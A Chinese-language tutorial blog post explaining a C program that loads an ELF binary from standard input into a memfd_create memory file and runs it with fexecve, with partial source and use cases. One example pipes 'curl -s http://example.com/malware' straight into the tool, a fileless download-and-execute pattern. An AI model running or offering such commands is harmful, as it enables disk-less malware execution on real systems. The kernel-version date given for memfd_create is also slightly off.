当前位置: 首页 > ai >正文

从标准输入直接执行 ELF 二进制文件的实用程序解析(C/C++实现)

本文将深入解析一个用C语言编写的实用程序,该程序能够直接从标准输入(stdin)读取ELF二进制文件,并在内存中执行它,无需将文件写入磁盘。我们将从实现原理、核心机制、用途场景和注意事项四个维度展开分析。

一、程序核心功能概述

...
int exit_failure(const char* msg)
{perror(msg);return EXIT_FAILURE;
}int main(int argc, char* argv[])
{
...memfd = (int)syscall(SYS_memfd_create, EE_MEMFD_NAME, 0);if (memfd == -1)return exit_failure("memfd_create");do {nread = read(STDIN_FILENO, buf, EE_CHUNK_SIZE);if (nread == -1)return exit_failure("read");offset = 0;length = (size_t)nread;while (offset < length) {nwrite = write(memfd, buf + offset, length - offset);if (nwrite == -1)return exit_failure("write");offset += (size_t)nwrite;}} while (nread > 0);if (fexecve(memfd, argv, environ) == -1)return exit_failure("fexecve");
...return EXIT_SUCCESS;
}

If you need the complete source code, please add the WeChat number (c17865354792)

该程序的核心目标是:将标准输入流中的ELF二进制数据加载到内存中,并直接执行它。这一过程绕过了传统的“磁盘临时文件”步骤,适用于需要动态传递二进制数据并执行的场景(如脚本管道、安全沙盒等)。

程序的关键步骤包括:

  1. 创建内存文件描述符:使用memfd_create系统调用在内存中创建一个匿名文件。
  2. 从stdin读取数据并写入内存文件:分块读取标准输入的ELF数据,写入内存文件。
  3. 直接执行内存中的ELF:通过fexecve系统调用,基于内存文件描述符启动ELF程序。

二、实现原理详解

内存文件:memfd_create的秘密

传统的文件操作需要将数据写入磁盘临时文件,再通过execve执行,这会带来额外的I/O开销和磁盘污染风险。而memfd_create(Memory File Descriptor Create)是Linux特有的系统调用(2013年随内核3.17引入),用于在内存中创建一个匿名的tmpfs文件。它的核心特点:

  1. 内存存储:文件内容存储在内存中(或交换分区),而非磁盘,读写效率极高。
  2. 匿名性:文件没有磁盘路径,仅通过文件描述符引用,避免敏感数据泄露到磁盘。
  3. 兼容文件接口:完全兼容POSIX文件操作(如read/write/lseek),可像操作普通文件一样操作内存文件。

程序中使用syscall(SYS_memfd_create, EE_MEMFD_NAME, 0)创建内存文件描述符(memfd)。第二个参数是标志位(此处为0,表示无特殊属性),若需要可设置:
MFD_CLOEXEC(子进程不继承描述符)或MFD_ALLOW_SEALING(允许内存密封)。

数据传输:从stdin到内存文件

程序通过循环读取标准输入(STDIN_FILENO)的数据块(大小为EE_CHUNK_SIZE,默认8KB),并将每个块写入内存文件描述符(memfd)。这一过程的关键点:

  1. 分块读取:避免一次性分配大内存,适应任意大小的输入(受限于内存总量)。
  2. 错误处理:每次read或write后检查返回值,若失败则通过perror输出错误信息并退出。
  3. 完整性保证:循环读取直到nread <= 0(EOF或错误),确保所有输入数据都被写入内存文件。
执行内存中的ELF:fexecve的魔力

传统execve需要指定可执行文件的路径(如/bin/ls),但内存中的文件没有磁盘路径。此时fexecve(File Descriptor execve)派上用场:它接受一个文件描述符作为参数,直接从该描述符关联的内存文件中加载并执行ELF程序。

程序最后调用fexecve(memfd, argv, environ),其中:

  1. memfd是内存文件的描述符;
  2. argv是命令行参数(传递给被执行的ELF程序);
  3. environ是环境变量(继承自当前进程)。

成功调用fexecve后,当前进程的代码段、数据段会被替换为ELF程序的内容,控制流跳转到ELF的入口点(_start),原程序后续代码(如return EXIT_SUCCESS)永远不会执行。

三、用途场景分析

该程序适用于需要动态、安全、高效执行内存中ELF文件的场景,典型例子包括:

脚本管道中的二进制传递

在Shell脚本中,可通过管道将二进制数据传递给该程序执行。例如:

生成一个简单的ELF文件(如/bin/echo的二进制数据),通过管道传递给程序执行cat /bin/echo | ./elfexec

无需将/bin/echo写入临时文件,避免了磁盘I/O和临时文件清理的麻烦。

安全沙盒环境

在沙盒或容器中,禁止程序向磁盘写入文件时,可通过管道传递ELF二进制数据,直接在内存中执行。例如:
从网络接收ELF文件(如通过curl),直接执行

curl -s http://example.com/malware | ./elfexec  

即使程序被恶意篡改,数据也不会落地到磁盘,降低泄露风险。

动态代码生成与执行

对于需要动态生成ELF二进制数据的场景(如自定义编译器、代码生成器),可直接将生成的二进制流通过标准输出传递给该程序执行,实现“生成即执行”的无缝衔接。

总结

该程序通过memfd_create和fexecve两个关键系统调用,实现了“标准输入→内存文件→直接执行”的高效流程,避免了磁盘I/O和临时文件的繁琐操作。其核心价值在于内存中处理二进制数据的安全性和效率,适用于需要动态执行ELF文件的场景。

理解其原理后,我们可以扩展更多功能(如设置内存文件权限、添加参数解析、支持压缩输入等),使其更适应复杂的生产环境需求。

Welcome to follow WeChat official account【程序猿编码

http://www.xdnf.cn/news/12639.html

相关文章:

  • ubuntu显示器未知
  • 深入理解 Agent 与 LLM 的区别:从智能体到语言模型
  • 【手动触发浏览器标签页图标自带转圈效果】
  • SQL-事务(2025.6.6-2025.6.7学习篇)
  • 如何思考?分析篇
  • 【Dv3Admin】系统视图下载中心API文件解析
  • 【Linux】Ubuntu 创建应用图标的方式汇总,deb/appimage/通用方法
  • 【HarmonyOS5】UIAbility组件生命周期详解:从创建到销毁的全景解析
  • 第3章:图数据模型与设计
  • Linux Gnome壁纸
  • 数据导入技术(文档加载)
  • Python 基础知识入门
  • Web设计之登录网页源码分享,PHP数据库连接,可一键运行!
  • linux安装组件
  • code-server安装使用,并配置frp反射域名访问
  • 基于Java Swing的固定资产管理系统设计与实现:附完整源码与论文
  • 7 天六级英语翻译与写作冲刺计划
  • 【Dv3Admin】系统视图字典管理API文件解析
  • MySQL:Cannot remove all partitions, use DROP TABLE instead
  • C++ 变量和基本类型
  • 意识上传伦理前夜:我们是否在创造数字奴隶?
  • KVC与KVO
  • Scade 语言概念 - 方程(equation)
  • DenseNet算法 实现乳腺癌识别
  • 游戏(game)
  • Go 语言 := 运算符详解(短变量声明)
  • Sum of Prod of Mod of Linear_abc402G
  • python的numpy的MKL加速
  • C# 类和继承(扩展方法)
  • 高精度算法--四则运算模板(附例题)